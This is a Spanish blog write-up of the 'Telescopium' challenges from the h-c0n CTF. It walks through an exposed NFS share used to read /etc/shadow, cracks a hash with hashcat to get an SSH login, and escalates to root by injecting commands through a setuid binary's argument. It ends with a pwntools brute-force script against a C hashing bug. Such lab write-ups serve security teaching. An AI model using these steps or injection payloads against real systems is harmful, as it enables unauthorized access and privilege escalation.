Sorry, this entry is only available in European Spanish. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

Durante la semana pasada se ha jugado el CTF de la h-c0n el cual ha diseñado ihacklabs.
Durante estos días subiremos una serie de posts resolviendo los retos.
Solo queda agradecer a iHacklabs y Hackplayers por organizarlo, os recomiendo que participareis el año que viene!

  • Parte 2: https://ironhackers.es/writeups/writeup-ctf-h-c0n-2-3-hackplayers-ihacklabs/
  • Parte 3: https://ironhackers.es/writeups/writeup-ctf-h-c0n-3-3-hackplayers-ihacklabs/
  • Telescopium – Acceso Básico

    Lo primero que haremos será buscar los servicios que se están ejecutando en el servidor, para ello usaremos nmap (una herramienta para rastreo de puertos)(-sV para determinar la versión del servicio, -sC para usar los scripts de Nmap):

    nmap -sV -sC 10.14.0.150


    Como veis, el servidor está ejecutando un sistema de archivos de red (NFS). Veamos si podemos montarlo y ver a qué ficheros podríamos acceder:

    rpcinfo 10.14.0.150
    showmount -e 10.14.0.150
    mkdir mountTele
    mount -t nfs 10.14.0.150:/var/backups mountTele/
    

    Como veis hemos accedido a la carpeta /var/backups del servidor, ahora podremos leer ficheros sensibles como /etc/passwd y /etc/shadow.
    En el fichero /etc/shadow de un sistema linux se almacenan las contraseñas encriptadas de los usuarios.
    El hash comienza por $6 luego se utiliza SHA-512 para encriptar las contraseñas, vamos a intentar crackearlo con Hashcat:

    echo '$6$e7r.Yg/SX6gZ/xyr$l6iPtVYjnfYLQfZXN./PV5BNWbd8mX5u8nbzBjj8OJNPGYv077hL5cJc0/VgCh6R6xYIkatM2oQ9.NcK2fyMc.' > peter.hash
    hascat -m 1800 -a 0 peter.hash /usr/share/wordlists/rockyou.txt
    


    Tras la ejecución del comando anterior obtenemos la contraseña del usuario peter y podremos acceder por SSH al servidor pudiendo acceder al flag.

    peter:jjjjjjj
    ssh [email protected]

    Telescopium – Acceso Admin

    Tras intentar crackear, sin éxito, el hash del root tendremos que intentar escalar de otra forma.
    Siguiendo cualquier guía de post-explotación, uno de los pasos es buscar ficheros con el bit Setuid activado:

    find / -perm -4000 2>/dev/null

    Entre estos binarios, nos llama la atención /usr/local/bin/shadowbk

    /usr/local/bin/shadowbk


    Como veis debemos indicar un argumento que sea una ruta donde creará una copia de seguridad. Sobre este argumento se ejecuta chmod. ¿Se os ocurre algo?
    La solución es Code Injection, pues si el binario ejecuta chmod xxx NUESTRO_ARGUMENTO podremos hacer que el argumento contenga separadores como ‘;’ o ‘&’ y ejecutar así código como root.

    /usr/local/bin/shadowbk 'arg1;ls /root'
    /usr/local/bin/shadowbk 'arg1;cat /root/secret.txt'
    

    Telescopium – Code

    En /usr/home/peter/audit nos encontramos el reto de código; leamos el README:

    Vamos a echarle un ojo al gothash.c:

    #include <stdio.h>
    #include <string.h>
    
    #define STRING_LEN 21
    #define STRING_LEN_LIMITS 20
    
    int gotHash(char* string_plain) {
            int enc, i;
            for (i=0, enc=0; i<STRING_LEN_LIMITS - 1; ++i);
            {
                    enc += string_plain[i];
                    enc *= string_plain[i];
                    enc ^= string_plain[i];
    
            }
            return enc;
    }
    
    int main(){
            char thekey[STRING_LEN], aflag[STRING_LEN], aninput[STRING_LEN];
            int thekeyHash, aninputHash;
    
            // thekey file on the server is random generated 
            FILE* thekeyfile = fopen("thekey","r");
            fgets(thekey, STRING_LEN, thekeyfile);
    
            FILE* aflag_file = fopen("flag","r");
            fgets(aflag, STRING_LEN, aflag_file);
    
            printf("Secret: ");
            fgets(aninput, STRING_LEN, stdin);
            if (strlen(aninput) != STRING_LEN_LIMITS){
                    printf("Not valid thekey lenght,  must be %d characters long\n", STRING_LEN_LIMITS);
                    return -1;
            }
            // check for a aflag you will never enter first branch im too good programming haha
            if (gotHash(aninput) == gotHash(thekey)){
                    printf("Yeah! flag: %s", aflag);
            } else {
                    printf("Nope, thekey isn't correct\n");
            }
    
            return 0;
    }
    

    Como veis, parece que el programa nos pide un string (fgets)(linea 31) que debe ser de longitud 20 o la ejecución acabará (linea 32).
    Tras superar este if se aplica la función gotHash a nuestro input y la sálida de esta función la compara con gotHash de la clave (thekey).
    Veamos qué pasa en gotHash, a primera vista parece que se aplica una serie de operaciones a cada carácter y devuelve el resultado de todas estas, pero volvamos a leer la función, la clave está en la linea 9:

    for (i=0, enc=0; i<STRING_LEN_LIMITS - 1; ++i);

    Como veis acaba en ‘;’ , este es el truco del reto pues ahora vemos que solo se ejecutan las operaciones sobre el último carácter de la cadena, ya que el for lo único que hace es incrementar la variable i hasta 19;
    Así que los primeros 19 caracteres no son relevantes, lo único que debemos hacer es averiguar cuál es el carácter 20 de la variable thekey. Probemos uno por uno:

    #!/usr/bin/python3
    from pwn import *
    
    output = 'Nope'
    for i in range (33,126):
    	string = 'A'*19
    	string += chr(i)
    	p = remote("54.36.23.248", 1339, level='error')
    	p.recvuntil("Secret: ")
    	p.sendline(string)
    	output = p.recvline()
    	p.close()
    	if 'Nope' not in str(output):
    		break;
    print (output.decode('utf-8'))
    

    ¿Me ayudas a compatirlo?